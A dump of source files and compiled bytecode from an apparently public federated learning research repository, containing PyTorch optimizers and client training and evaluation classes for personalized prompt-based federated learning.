# def __init__(self, params, lr=0.01, lamda=0.1 , mu = 0.001):
# #self.local_weight_updated = local_weight # w_i,K
# if lr < 0.0:
# raise ValueError("Invalid learning rate: {}".format(lr))
# defaults = dict(lr=lr, lamda=lamda, mu = mu)
# super(pFedMeOptimizer, self).__init__(params, defaults)
# def step(self, local_weight_updated, closure=None):
# loss = None
# if closure is not None:
# loss = closure
# weight_update = local_weight_updated.copy()
# for group in self.param_groups:
# for p, localweight in zip( group['params'], weight_update):
# p.data = p.data - group['lr'] * (p.grad.data + group['lamda'] * (p.data - localweight.data) + group['mu']*p.data)
# return group['params'], loss
# def update_param(self, local_weight_updated, closure=None):
# loss = None
# if closure is not None:
# loss = closure
# weight_update = local_weight_updated.copy()
# for group in self.param_groups:
# for p, localweight in zip( group['params'], weight_update):
# p.data = localweight.data
# #return p.data
# return group['params']
class APFLOptimizer(Optimizer):
def __init__(self, params, lr):
defaults = dict(lr=lr)
super(APFLOptimizer, self).__init__(params, defaults)
def step(self, beta=1, n_k=1):
for group in self.param_groups:
for p in group['params']:
if p.grad is None:
continue
d_p = beta * n_k * p.grad.data
p.data.add_(-group['lr'], d_p)
class PerturbedGradientDescent(Optimizer):
def __init__(self, params, lr=0.01, mu=0.0):
if lr < 0.0:
raise ValueError(f'Invalid learning rate: {lr}')
default = dict(lr=lr, mu=mu)
super().__init__(params, default)
@torch.no_grad()
def step(self, global_params, device):
for group in self.param_groups:
for p, g in zip(group['params'], global_params):
g = g.to(device)
d_p = p.grad.data + group['mu'] * (p.data - g.data)
p.data.add_(d_p, alpha=-group['lr'])
| 4,348 | Python | .py | 96 | 36.9375 | 131 | 0.556371 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,631 | fedoptimizer.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-39.pyc | a
fæ`c¸ „ @ sh d dl Z d dlmZ G ddÑ deÉZG ddÑ deÉZG ddÑ deÉZG d d
Ñ d
eÉZG d d Ñ d eÉZdS )
È N)⁄ Optimizerc s& e Zd Zá fddÑZdddÑZá ZS )⁄PerAvgOptimizerc s t |dç}tt| Ɇ||° d S ©N)⁄lr)⁄dict⁄superr ⁄__init__©⁄self⁄paramsr ⁄defaults©⁄ __class__© ˙x/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/optimizers/fedoptimizer.pyr s
zPerAvgOptimizer.__init__r c C sd | j D ]X}|d D ]J}|jd u r"q|jj}|dkrF|jj|| dç q|jj||d dç qqd S )Nr r )⁄other⁄alphar ©⁄ param_groups⁄grad⁄data⁄add_)r
⁄beta⁄group⁄p⁄d_pr r r ⁄step
s
zPerAvgOptimizer.step)r ©⁄__name__⁄
__module__⁄ __qualname__r r ⁄
__classcell__r r r
r r s r c s& e Zd Zdá fddÑ ZddÑ Zá ZS ) ⁄
FEDLOptimizerÁ{ÆG·zÑ?NÁöôôôôôπ?c sD || _ || _|dk r"td†|°ÉÇt||dç}tt| Ɇ||° d S )NÁ ˙Invalid learning rate: {})r ⁄eta)⁄ server_grads⁄ pre_grads⁄
ValueError⁄formatr r r" r )r
r r r( r) r' r r
r r r s zFEDLOptimizer.__init__c C s` | j D ]T}d}|d D ]B}|j†|d |jj|d | j| | j| ° |d7 }qqd S )Nr r r r' È )r r r r r( r) )r
r ⁄ir r r r r s
ˇˇzFEDLOptimizer.step)r# NNr$ r r r r
r r" s r" c s& e Zd Zdá fddÑ ZddÑ Zá ZS ) ⁄pFedMeOptimizerr# r$ Á¸©Ò“MbP?c s: |dk rt d†|°ÉÇt|||dç}tt| Ɇ||° d S )Nr% r& )r ⁄lamda⁄mu)r* r+ r r r. r )r
r r r0 r1 r r
r r r ) s zpFedMeOptimizer.__init__c C s| d }|† ° }| jD ]`}t|d |ÉD ]L\}}|†|°}|j|d |jj|d |j|j |d |j |_q$q|d S )Nr r r0 r1 )⁄copyr ⁄zip⁄tor r )r
Z local_model⁄devicer Z
weight_updater ⁄ localweightr r r r / s
>zpFedMeOptimizer.step)r# r$ r/ r r r r
r r. ( s r. c s& e Zd Zá fddÑZdddÑZá ZS )⁄
APFLOptimizerc s t |dç}tt| Ɇ||° d S r )r r r7 r r r
r r r Z s
zAPFLOptimizer.__init__r, c C sN | j D ]B}|d D ]4}|jd u r"q|| |jj }|j†|d |° qqd S )Nr r r )r
r ⁄n_kr r r r r r r ^ s
zAPFLOptimizer.step)r, r, r r r r
r r7 Y s r7 c s. e Zd Zdá fddÑ Ze†° ddÑ ÉZá ZS )⁄PerturbedGradientDescentr# r% c s4 |dk rt d|õ ùÉÇt||dç}tÉ †||° d S )Nr% zInvalid learning rate: )r r1 )r* r r r )r
r r r1 ⁄defaultr
r r r h s z!PerturbedGradientDescent.__init__c C sd | j D ]X}t|d |ÉD ]D\}}|†|°}|jj|d |j|j }|jj||d dç qqd S )Nr r1 r )r )r r3 r4 r r r )r
Z
global_paramsr5 r r ⁄gr r r r r p s
z PerturbedGradientDescent.step)r# r% )r r r r ⁄torch⁄no_gradr r! r r r
r r9 g s r9 )r< Z torch.optimr r r" r. r7 r9 r r r r ⁄<module> s 1 | 3,891 | Python | .py | 27 | 143.074074 | 419 | 0.346701 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,632 | fedoptimizer.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-38.pyc | U
îjfc¸ „ @ sh d dl Z d dlmZ G ddÑ deÉZG ddÑ deÉZG ddÑ deÉZG d d
Ñ d
eÉZG d d Ñ d eÉZdS )
È N)⁄ Optimizerc s& e Zd Zá fddÑZdddÑZá ZS )⁄PerAvgOptimizerc s t |dç}tt| Ɇ||° d S ©N)⁄lr)⁄dict⁄superr ⁄__init__©⁄self⁄paramsr ⁄defaults©⁄ __class__© ıQ D:\‰∫¨‰∏ú\promot\cifar\cifar\Cifar10_iid\system\flcore\optimizers\fedoptimizer.pyr s
zPerAvgOptimizer.__init__r c C sd | j D ]X}|d D ]J}|jd kr"q|jj}|dkrF|jj|| dç q|jj||d dç qqd S )Nr r )⁄other⁄alphar ©⁄ param_groups⁄grad⁄data⁄add_)r
⁄beta⁄group⁄p⁄d_pr r r ⁄step
s
zPerAvgOptimizer.step)r ©⁄__name__⁄
__module__⁄ __qualname__r r ⁄
__classcell__r r r
r r s r c s& e Zd Zdá fddÑ ZddÑ Zá ZS ) ⁄
FEDLOptimizerÁ{ÆG·zÑ?NÁöôôôôôπ?c sD || _ || _|dk r"td†|°ÉÇt||dç}tt| Ɇ||° d S )NÁ ˙Invalid learning rate: {})r ⁄eta)⁄ server_grads⁄ pre_grads⁄
ValueError⁄formatr r r" r )r
r r r( r) r' r r
r r r s zFEDLOptimizer.__init__c C s` | j D ]T}d}|d D ]B}|j†|d |jj|d | j| | j| ° |d7 }qqd S )Nr r r r' È )r r r r r( r) )r
r ⁄ir r r r r s
ˇˇzFEDLOptimizer.step)r# NNr$ r r r r
r r" s r" c s& e Zd Zdá fddÑ ZddÑ Zá ZS ) ⁄pFedMeOptimizerr# r$ Á¸©Ò“MbP?c s: |dk rt d†|°ÉÇt|||dç}tt| Ɇ||° d S )Nr% r& )r ⁄lamda⁄mu)r* r+ r r r. r )r
r r r0 r1 r r
r r r ) s zpFedMeOptimizer.__init__c C s| d }|† ° }| jD ]`}t|d |ÉD ]L\}}|†|°}|j|d |jj|d |j|j |d |j |_q$q|d S )Nr r r0 r1 )⁄copyr ⁄zip⁄tor r )r
Z local_model⁄devicer Z
weight_updater ⁄ localweightr r r r / s
>zpFedMeOptimizer.step)r# r$ r/ r r r r
r r. ( s r. c s& e Zd Zá fddÑZdddÑZá ZS )⁄
APFLOptimizerc s t |dç}tt| Ɇ||° d S r )r r r7 r r r
r r r Z s
zAPFLOptimizer.__init__r, c C sN | j D ]B}|d D ]4}|jd kr"q|| |jj }|j†|d |° qqd S )Nr r r )r
r ⁄n_kr r r r r r r ^ s
zAPFLOptimizer.step)r, r, r r r r
r r7 Y s r7 c s. e Zd Zdá fddÑ Ze†° ddÑ ÉZá ZS )⁄PerturbedGradientDescentr# r% c s4 |dk rt d|õ ùÉÇt||dç}tÉ †||° d S )Nr% zInvalid learning rate: )r r1 )r* r r r )r
r r r1 ⁄defaultr
r r r h s z!PerturbedGradientDescent.__init__c C sd | j D ]X}t|d |ÉD ]D\}}|†|°}|jj|d |j|j }|jj||d dç qqd S )Nr r1 r )r )r r3 r4 r r r )r
Z
global_paramsr5 r r ⁄gr r r r r p s
z PerturbedGradientDescent.step)r# r% )r r r r ⁄torch⁄no_gradr r! r r r
r r9 g s r9 )r< Z torch.optimr r r" r. r7 r9 r r r r ⁄<module> s 1 | 3,855 | Python | .py | 27 | 141.740741 | 383 | 0.340559 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,633 | fedoptimizer.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-37.pyc | B
À:ccü ã @ sh d dl Z d dlmZ G dd„ deƒZG dd„ deƒZG dd„ deƒZG d d
„ d
eƒZG d d „ d eƒZdS )
é N)Ú Optimizerc s& e Zd Z‡ fdd„Zddd„Z‡ ZS )ÚPerAvgOptimizerc s t |d�}tt| ƒ ||¡ d S )N)Úlr)ÚdictÚsuperr Ú__init__)ÚselfÚparamsr Údefaults)Ú __class__© úL/root/autodl-tmp/PFL-Non-IID-master/system/flcore/optimizers/fedoptimizer.pyr s
zPerAvgOptimizer.__init__r c C sl xf| j D ]\}xV|d D ]J}|jd kr&q|jj}|dkrJ|jj|| d� q|jj||d d� qW qW d S )Nr r )ÚotherÚalphar )Ú param_groupsÚgradÚdataÚadd_)r ÚbetaÚgroupÚpÚd_pr r r
Ústep
s
zPerAvgOptimizer.step)r )Ú__name__Ú
__module__Ú __qualname__r r Ú
__classcell__r r )r r
r s r c s& e Zd Zd‡ fdd„ Zdd„ Z‡ ZS ) Ú
FEDLOptimizerç{®Gáz„?Nçš™™™™™¹?c sD || _ || _|dk r"td |¡ƒ‚t||d�}tt| ƒ ||¡ d S )Ng zInvalid learning rate: {})r Úeta)Ú server_gradsÚ pre_gradsÚ
ValueErrorÚformatr r r r )r r r r! r" r r
)r r r
r s zFEDLOptimizer.__init__c C sh xb| j D ]X}d}xN|d D ]B}|j |d |jj|d | j| | j| ¡ |d7 }qW qW d S )Nr r r r é )r r r r r! r" )r r Úir r r r
r s (zFEDLOptimizer.step)r NNr )r r r r r r r r )r r
r s r c s& e Zd Zd‡ fdd„ Zdd„ Z‡ ZS ) ÚpFedMeOptimizerç{®Gáz„?çš™™™™™¹?çü©ñÒMbP?c s: |dk rt d |¡ƒ‚t|||d�}tt| ƒ ||¡ d S )Ng zInvalid learning rate: {})r ÚlamdaÚmu)r# r$ r r r' r )r r r r+ r, r
)r r r
r ) s zpFedMeOptimizer.__init__c C s„ d }| ¡ }xn| jD ]d}x^t|d |ƒD ]L\}}| |¡}|j|d |jj|d |j|j |d |j |_q(W qW |d S )Nr r r+ r, )Úcopyr ÚzipÚtor r )r Z local_modelÚdevicer Z
weight_updater Ú localweightr r r
r / s
BzpFedMeOptimizer.step)r( r) r* )r r r r r r r r )r r
r' ( s r' c s& e Zd Z‡ fdd„Zddd„Z‡ ZS )Ú
APFLOptimizerc s t |d�}tt| ƒ ||¡ d S )N)r )r r r2 r )r r r r
)r r r
r Z s
zAPFLOptimizer.__init__r% c C sV xP| j D ]F}x@|d D ]4}|jd kr&q|| |jj }|j |d |¡ qW qW d S )Nr r )r r r r )r r Ún_kr r r r r r
r ^ s
zAPFLOptimizer.step)r% r% )r r r r r r r r )r r
r2 Y s r2 c s. e Zd Zd‡ fdd„ Ze ¡ dd„ ƒZ‡ ZS )ÚPerturbedGradientDescentç{®Gáz„?ç c s4 |dk rt d|› �ƒ‚t||d�}tƒ ||¡ d S )Ng zInvalid learning rate: )r r, )r# r r r )r r r r, Údefault)r r r
r h s z!PerturbedGradientDescent.__init__c C sl xf| j D ]\}xVt|d |ƒD ]D\}}| |¡}|jj|d |j|j }|jj||d d� q W qW d S )Nr r, r )r )r r. r/ r r r )r Z
global_paramsr0 r r Úgr r r r
r p s
z PerturbedGradientDescent.step)r5 r6 )r r r r ÚtorchÚno_gradr r r r )r r
r4 g s r4 )r9 Z torch.optimr r r r' r2 r4 r r r r
Ú<module> s 1 | 3,999 | Python | .py | 17 | 234.176471 | 747 | 0.346975 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,634 | clientavg.py | hkgdifyu_pFedPT/system/flcore/clients/clientavg.py | import torch
import torch.nn as nn
import numpy as np
import time
from flcore.clients.clientbase import Client
class clientAVG(Client):
def __init__(self, args, id, train_samples, test_samples, **kwargs):
super().__init__(args, id, train_samples, test_samples, **kwargs)
self.loss = nn.CrossEntropyLoss()
self.optimizer = torch.optim.SGD(self.model.parameters(), lr=self.learning_rate)
# # differential privacy
# if self.privacy:
# check_dp(self.model)
# initialize_dp(self.model, self.optimizer, self.sample_rate, self.dp_sigma)
def train(self):
trainloader = self.load_train_data()
start_time = time.time()
self.model.to(self.device)
self.model.train()
max_local_steps = self.local_steps
if self.train_slow:
max_local_steps = np.random.randint(1, max_local_steps // 2)
for step in range(max_local_steps):
for i, (x, y) in enumerate(trainloader):
if type(x) == type([]):
x[0] = x[0].to(self.device)
else:
x = x.to(self.device)
y = y.to(self.device)
if self.train_slow:
time.sleep(0.1 * np.abs(np.random.rand()))
self.optimizer.zero_grad()
output = self.model(x)
loss = self.loss(output, y)
loss.backward()
if self.privacy:
dp_step(self.optimizer, i, len(trainloader))
else:
self.optimizer.step()
self.model.cpu()
self.train_time_cost['num_rounds'] += 1
self.train_time_cost['total_cost'] += time.time() - start_time
# if self.privacy:
# res, DELTA = get_dp_params(self.optimizer)
# print(f"Client {self.id}", f"(ε = {res[0]:.2f}, δ = {DELTA}) for α = {res[1]}") | 1,962 | Python | .py | 45 | 31.866667 | 93 | 0.54878 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,635 | clientbase.py | hkgdifyu_pFedPT/system/flcore/clients/clientbase.py | import copy
import torch
import torch.nn as nn
import numpy as np
import os
import torch.nn.functional as F
from torch.utils.data import DataLoader
from sklearn.preprocessing import label_binarize
from sklearn import metrics
from utils.data_utils import read_client_data
class Client(object):
"""
Base class for clients in federated learning.
"""
def __init__(self, args, id, train_samples, test_samples, **kwargs):
self.model = copy.deepcopy(args.model)
self.dataset = args.dataset
self.device = args.device
self.id = id # integer
self.save_folder_name = args.save_folder_name
self.args = args
self.num_classes = args.num_classes
self.train_samples = train_samples
self.test_samples = test_samples
self.batch_size = args.batch_size
self.learning_rate = args.local_learning_rate
self.local_steps = args.local_steps
# check BatchNorm
self.has_BatchNorm = False
for layer in self.model.children():
if isinstance(layer, nn.BatchNorm2d):
self.has_BatchNorm = True
break
self.train_slow = kwargs['train_slow']
self.send_slow = kwargs['send_slow']
self.train_time_cost = {'num_rounds': 0, 'total_cost': 0.0}
self.send_time_cost = {'num_rounds': 0, 'total_cost': 0.0}
self.privacy = args.privacy
self.dp_sigma = args.dp_sigma
self.sample_rate = self.batch_size / self.train_samples
def load_train_data(self, batch_size=None):
if batch_size == None:
batch_size = self.batch_size
train_data = read_client_data(self.dataset, self.id, self.args,is_train=True)
return DataLoader(train_data, batch_size, drop_last=True, shuffle=True)
def load_test_data(self, batch_size=None):
if batch_size == None:
batch_size = self.batch_size
test_data = read_client_data(self.dataset, self.id, self.args,is_train=False)
return DataLoader(test_data, batch_size, drop_last=False, shuffle=True)
def set_parameters(self, model):
for new_param, old_param in zip(model.parameters(), self.model.parameters()):
old_param.data = new_param.data.clone()
def clone_model(self, model, target):
for param, target_param in zip(model.parameters(), target.parameters()):
target_param.data = param.data.clone()
# target_param.grad = param.grad.clone()
def update_parameters(self, model, new_params):
for param, new_param in zip(model.parameters(), new_params):
param.data = new_param.data.clone()
def test_metrics(self):
testloaderfull = self.load_test_data()
# self.model = self.load_model('model')
self.model.to(self.device)
self.model.eval()
test_acc = 0
test_num = 0
y_prob = []
y_true = []
with torch.no_grad():
for x, y in testloaderfull:
if type(x) == type([]):
x[0] = x[0].to(self.device)
else:
x = x.to(self.device)
y = y.to(self.device)
output = self.model(x)
test_acc += (torch.sum(torch.argmax(output, dim=1) == y)).item()
test_num += y.shape[0]
y_prob.append(output.detach().cpu().numpy())
y_true.append(label_binarize(y.detach().cpu().numpy(), classes=np.arange(self.num_classes)))
self.model.cpu()
# self.save_model(self.model, 'model')
y_prob = np.concatenate(y_prob, axis=0)
y_true = np.concatenate(y_true, axis=0)
# print(y_prob)
# print(y_true)
auc = metrics.roc_auc_score(y_true, y_prob, average='micro')
return test_acc, test_num, auc
def train_metrics(self):
trainloader = self.load_train_data()
# self.model = self.load_model('model')
self.model.to(self.device)
self.model.eval()
train_num = 0
loss = 0
for x, y in trainloader:
if type(x) == type([]):
x[0] = x[0].to(self.device)
else:
x = x.to(self.device)
y = y.to(self.device)
output = self.model(x)
train_num += y.shape[0]
loss += self.loss(output, y).item() * y.shape[0]
self.model.cpu()
# self.save_model(self.model, 'model')
return loss, train_num
# def get_next_train_batch(self):
# try:
# # Samples a new batch for persionalizing
# (x, y) = next(self.iter_trainloader)
# except StopIteration:
# # restart the generator if the previous generator is exhausted.
# self.iter_trainloader = iter(self.trainloader)
# (x, y) = next(self.iter_trainloader)
# if type(x) == type([]):
# x = x[0]
# x = x.to(self.device)
# y = y.to(self.device)
# return x, y
def save_item(self, item, item_name, item_path=None):
if item_path == None:
item_path = self.save_folder_name
if not os.path.exists(item_path):
os.makedirs(item_path)
torch.save(item, os.path.join(item_path, "client_" + str(self.id) + "_" + item_name + ".pt"))
def load_item(self, item_name, item_path=None):
if item_path == None:
item_path = self.save_folder_name
return torch.load(os.path.join(item_path, "client_" + str(self.id) + "_" + item_name + ".pt"))
# @staticmethod
# def model_exists():
# return os.path.exists(os.path.join("models", "server" + ".pt"))
| 5,736 | Python | .py | 134 | 33.514925 | 108 | 0.585181 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,636 | clientpt.py | hkgdifyu_pFedPT/system/flcore/clients/clientpt.py | import torch
import torch.nn as nn
import numpy as np
import time
from flcore.clients.clientbase import Client
import copy
from sklearn.preprocessing import label_binarize
from sklearn import metrics
# from utils.privacy import *
class clientPT(Client):
def __init__(self, args, id, train_samples, test_samples, **kwargs):
super().__init__(args, id, train_samples, test_samples, **kwargs)
self.loss = nn.CrossEntropyLoss()
self.optimizer = torch.optim.SGD(self.model.base.parameters(), lr=self.learning_rate)
self.plocal_steps = args.plocal_steps
self.poptimizer = torch.optim.SGD(self.model.generator.parameters(), lr=args.pt_learning_rate,
momentum=args.momentum)
self.scheduler = torch.optim.lr_scheduler.StepLR(self.poptimizer, step_size=self.plocal_steps,
gamma=args.learning_decay)
def train(self):
trainloader = self.load_train_data()
start_time = time.time()
old_prompt = copy.deepcopy(self.model.generator)
self.model.to(self.device)
self.model.train()
for param in self.model.base.parameters():
param.requires_grad = False
for param in self.model.generator.parameters():
param.requires_grad = True
for step in range(self.plocal_steps):
for i, (x, y) in enumerate(trainloader):
if type(x) == type([]):
x[0] = x[0].to(self.device)
else:
x = x.to(self.device)
y = y.to(self.device)
if self.train_slow:
time.sleep(0.1 * np.abs(np.random.rand()))
self.poptimizer.zero_grad()
output = self.model(x)
loss = self.loss(output, y)
loss.backward()
self.poptimizer.step()
self.scheduler.step()
max_local_steps = self.local_steps
if self.train_slow:
max_local_steps = np.random.randint(1, max_local_steps // 2)
for param in self.model.base.parameters():
param.requires_grad = True
for param in self.model.generator.parameters():
param.requires_grad = False
for step in range(max_local_steps):
for i, (x, y) in enumerate(trainloader):
if type(x) == type([]):
x[0] = x[0].to(self.device)
else:
x = x.to(self.device)
y = y.to(self.device)
if self.train_slow:
time.sleep(0.1 * np.abs(np.random.rand()))
self.optimizer.zero_grad()
output = self.model(x)
loss = self.loss(output, y)
loss.backward()
self.optimizer.step()
self.model.cpu()
new_prompt = copy.deepcopy(self.model.generator)
diff_provalue = 0
for new_param, old_param in zip(old_prompt.parameters(), new_prompt.parameters()):
diff_pro = new_param - old_param
diff_pro = torch.where(diff_pro > 0, diff_pro, torch.zeros_like(diff_pro)-diff_pro)
diff_provalue = diff_provalue + torch.sum(diff_pro)
self.train_time_cost['num_rounds'] += 1
self.train_time_cost['total_cost'] += time.time() - start_time
return diff_provalue
def set_parameters(self, base):
for new_param, old_param in zip(base.parameters(), self.model.base.parameters()):
old_param.data = new_param.data.clone()
def test_metrics(self):
testloaderfull = self.load_test_data()
# self.model = self.load_model('model')
self.model.to(self.device)
self.model.eval()
test_acc = 0
test_acc2 = 0
test_num = 0
y_prob = []
y_true = []
with torch.no_grad():
for x, y in testloaderfull:
if type(x) == type([]):
x[0] = x[0].to(self.device)
else:
x = x.to(self.device)
y = y.to(self.device)
output = self.model(x)
output2 = self.model.base(x)
test_acc += (torch.sum(torch.argmax(output, dim=1) == y)).item()
test_acc2 += (torch.sum(torch.argmax(output2, dim=1) == y)).item()
test_num += y.shape[0]
y_prob.append(output.detach().cpu().numpy())
y_true.append(label_binarize(y.detach().cpu().numpy(), classes=np.arange(self.num_classes)))
self.model.cpu()
# self.save_model(self.model, 'model')
y_prob = np.concatenate(y_prob, axis=0)
y_true = np.concatenate(y_true, axis=0)
auc = metrics.roc_auc_score(y_true, y_prob, average='micro')
return test_acc, test_acc2, test_num, auc | 4,929 | Python | .py | 108 | 33.018519 | 108 | 0.554559 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,637 | clientamp.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientamp.cpython-38.pyc | U
”jfc ã @ sT d dl Z d dlmZ d dlmZ d dlZd dlZd dlZG dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientAMPc s\ t ƒ j||||f|� |j| _|j| _t | j¡| _t ¡ | _
t j j
| j ¡ | jd�| _d S )N)Úlr)ÚsuperÚ__init__ÚalphaKÚlamdaÚcopyÚdeepcopyÚmodelÚclient_uÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õK D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientamp.pyr
s
zclientAMP.__init__c C s‚ | ¡ }t ¡ }| j | j¡ | j | j¡ | j ¡ | j}| jrTt j
d|d ¡}t |ƒD ]Ş}|D ]Ô\}}t
|ƒt
g ƒkr’|d | j¡|d< n | | j¡}| | j¡}| jrÊt dt t j
¡ ¡ ¡ | j ¡ | |¡}| ||¡}t| jƒ} t| jƒ}
| |
} || j| j d t | | ¡ 7 }| ¡ | j ¡ qdq\| j ¡ | j ¡ ~| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer ÚtoÚdevicer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr Ú zero_gradr Úweight_flattenr r r ÚdotÚbackwardÚstepÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr7 ÚxÚyÚoutputr ÚparamsZparams_Úsubr r r r( s<
zclientAMP.trainc C s8 t | ¡ | j ¡ ƒD ] \}}|j||j ¡ |_qd S )N)Úzipr r ÚdataÚclone)r r Ú coef_selfÚ new_paramÚ old_paramr r r Úset_parameters? s zclientAMP.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r( rH Ú
__classcell__r r r r r s
+r c C s0 g }| ¡ D ]}| | d¡¡ q t |¡}|S )Néÿÿÿÿ)r ÚappendÚviewr Úcat)r r@ Úur r r r4 D s
r4 ) r Útorch.nnr
Úflcore.clients.clientbaser Únumpyr+ r% r r r4 r r r r Ú<module> s ; | 2,270 | Python | .py | 26 | 86.115385 | 269 | 0.429844 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,638 | clientdyn.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdyn.cpython-38.pyc | U
”jfc ã @ sT d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientDync sl t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ d | _
t | j¡}t|ƒ}t |¡| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ
zeros_likeÚold_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsr ©Ú __class__© õK D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientdyn.pyr s
zclientDyn.__init__c C sæ | ¡ }t ¡ }| j | j¡ | j | j¡| _| j | j¡| _| j ¡ | j}| j rft
j d|d ¡}t
|ƒD ]ò}t|ƒD ]ä\}\}}t|ƒtg ƒkr¬|d | j¡|d< n | | j¡}| | j¡}| j rät dt
t
j ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | jd k�rLt| jƒ}
| | jd t |
| j d¡ 7 } | t |
| j¡8 } | ¡ | j ¡ qzqn| jd k�r”t| jƒ ¡ }
| j| j|
| j | _| j ¡ | j ¡ | _| j ¡ | _| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdevicer r ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr r r r
ÚnormÚdotÚbackwardÚstepÚdetachÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr: ÚiÚxÚyÚoutputr Úv1r r r! r* sD
zclientDyn.trainc C s@ t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qt|ƒ ¡ ¡ | _d S )N)Úzipr r
ÚdataÚcloner r; r )r r
Ú new_paramÚ old_paramr r r! Úset_parametersO s zclientDyn.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r* rK Ú
__classcell__r r r r! r
s 1r c C s dd„ | ¡ D ƒ}tj|dd�S )Nc S s g | ]}| d ¡‘qS )éÿÿÿÿ)Úview)Ú.0Úpr r r! Ú
<listcomp>W s z*model_parameter_vector.<locals>.<listcomp>r )Údim)r r
Úcat)r
Úparamr r r! r V s r ) r r
Útorch.nnr Únumpyr- r' Úflcore.clients.clientbaser r r r r r r! Ú<module> s L | 2,595 | Python | .py | 30 | 85.433333 | 285 | 0.424006 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,639 | clientmoon.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoon.cpython-39.pyc | a
ç`cE ã @ s^ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z G dd„ de ƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú
clientMOONc sf t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ |j
| _
d | _t | j¡| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientmoon.pyr s
zclientMOON.__init__c C sÜ | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD �]Z}t
|ƒD �]J\}\}}t |ƒt g ƒkr‚|d | j
¡|d< n | | j
¡}| | j
¡}| jrºt dt tj ¡ ¡ ¡ | j ¡ | j |¡}| j |¡} | | |¡}
| j |¡ ¡ } | j |¡ ¡ } t t t || ¡| j ¡t t || ¡| j ¡t t || ¡| j ¡ ¡ }
|
| j t |
¡ 7 }
|
!¡ | j"�r�t#| j|t$|ƒƒ qN| j %¡ qNq@t& '| j¡| _| j(d d7 < | j(d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost))Úload_train_dataÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradÚbaseÚ predictorr r Údetachr r
